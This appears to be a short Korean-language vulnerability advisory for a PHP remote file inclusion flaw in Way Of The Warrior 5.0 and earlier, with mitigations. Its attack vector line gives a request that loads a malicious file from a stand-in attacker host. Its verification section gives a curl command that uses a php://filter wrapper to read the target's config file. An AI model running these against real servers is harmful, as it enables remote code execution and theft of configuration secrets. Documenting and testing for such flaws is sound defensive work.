🇰🇷 한글 설명
Way Of The Warrior 5.0 이하 버전에서 crea.php의 plancia 파라미터를 통해 원격 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있는 원격 파일 포함(RFI) 취약점입니다. 공격자가 외부 서버의 악의적인 파일을 로드하여 서버에서 실행 가능합니다.
💡 쉬운 설명
웹 애플리케이션이 사용자 입력을 제대로 검증하지 않아 악의적인 외부 파일을 실행하는 취약점입니다. 공격자는 특수한 URL을 보내 서버를 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in visualizza.php in Way Of The Warrior (WOTW) 5.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the plancia parameter to crea.php.
📍 영향받는 시스템
Way Of The Warrior (WOTW) 버전 5.0 이하
⚔️ 공격 벡터
crea.php?plancia=http://attacker.com/malicious.php 형태의 HTTP 요청을 통한 원격 파일 포함
🛡️ 대응 방법
최신 패치를 적용하고, plancia 파라미터의 입력값을 화이트리스트 검증으로 필터링하며, allow_url_include PHP 설정을 비활성화
🔧 검증 코드
base64 인코딩된 설정 파일 내용 또는 오류 메시지가 반환되면 RFI 취약점 존재 가능성 높음. PHP 오류나 설정 정보 유출은 취약점 존재 확인
curl -s 'http://target/crea.php?plancia=php://filter/convert.base64-encode/resource=../config' 2>/dev/null | head -20